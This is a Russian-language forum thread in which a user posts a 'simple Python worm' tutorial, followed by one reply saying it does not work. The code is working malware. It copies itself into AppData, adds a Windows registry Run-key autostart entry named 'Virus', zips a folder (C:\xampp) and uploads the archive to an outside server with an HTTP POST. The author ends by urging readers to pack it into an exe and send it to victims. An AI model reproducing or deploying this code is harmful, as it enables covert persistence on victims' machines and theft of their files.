Простой Червь На Python

Тема в разделе "Python", создана пользователем Tapac1, 27 окт 2020.

Метки:
  1. Tapac1

    Tapac1 Moder-Coder Команда форума

    Регистрация
    26 сен 2016
    Сообщения
    164
    Симпатии
    116
    Баллы
    51
    Пол
    Мужской
    Род занятий
    Web
    Адрес
    Localhost
    Интересы:
    Разное
    Всем доброго времени суток, участники ibazh.com!
    Настрочил простенький червь на питоне, что бы он
    послужил вам примером/неким представлением "тёмной" области этого языка.

    Добавим наш заражённый файл в какую-нибудь папку, где он не будет мозолить
    пользователю глаза, я долго думать не стал, т.к это всего лишь пример и добавил его в
    папку AppData.

    Код:
    Python:
    directory = os.getenv("APPDATA") + r'/your_program/'
    base_file = directory + os.path.basename(__file__)
    
    
    if not os.path.exists(directory):
        os.makedirs(directory)
        shutil.copy(__file__, base_file)
    Первым делом я решил закрепить наш файл в автозапуске операционной системе,
    делал я это через реестр.Тут нам поможет модуль winreg.

    Код:
    Python:
    path_to_reestr = OpenKey(HKEY_CURRENT_USER,
                            r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                            0, KEY_ALL_ACCESS)
    SetValueEx(path_to_reestr, 'Virus', 0, REG_SZ, base_file)
    CloseKey(path_to_reestr)
    В переменной мы установили путь до реестра, дальше добавили значение нашего вируса,
    лучше назвать его как-то неприметно, но я во все услышание ознаменовал его 'Virus'.
    И устанавливаем путь до файла (base_file).


    Ну и тупо в три строчки напишем тело нашего червя xD

    Код:
    Python:
    # Добавляем папку в аврхив
    shutil.make_archive(r'Имя архива', 'zip', r'Папка')
    
    # Отправляем архив на сервер
    files = {'Имя архива': open('Имя архива', 'rb')}
    r = requests.post('http://httpbin.org/post', files=files)
    Добавляем его в архив и отправляем его на сервер с помощью post запроса.

    В итоге у нас должно получиться что-то наподобие этого

    Python:
    import shutil
    import os
    import sys
    import requests
    from winreg import *


    def autorun():
    # Путь, который будет светиться в авторане
    directory = os.getenv("APPDATA") + r'/your_program/'
    base_file = directory + os.path.basename(__file__)

    if not os.path.exists(directory):
    os.makedirs(directory)
    shutil.copy(__file__, base_file)

    # Путь в реестре
    path_to_reestr = OpenKey(HKEY_CURRENT_USER,
    r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
    0, KEY_ALL_ACCESS)
    # Установить программу "Virus" в автозагрузку
    SetValueEx(path_to_reestr, 'Virus', 0, REG_SZ, base_file)
    # Закрыть реестр
    CloseKey(path_to_reestr)


    def addToZip():
    # Добавляем папку в аврхив
    shutil.make_archive(r'C:\\file', 'zip', r'C:\xampp')

    # Отправляем архив на сервер
    files = {'file.zip': open('C:\\file.zip', 'rb')}
    r = requests.post('http://httpbin.org/post', files=files)

    autorun()
    addToZip()

    Далее пакуем его в exe и идем кидать жертвам.
     
  2. artur979

    artur979 Новичок Зарегистрирован

    Регистрация
    10 мар 2021
    Сообщения
    3
    Симпатии
    0
    Баллы
    0
    Пол
    Мужской
    Интересы:
    Opencart
    что то не получается(
     

Поделиться этой страницей

Share
Загрузка...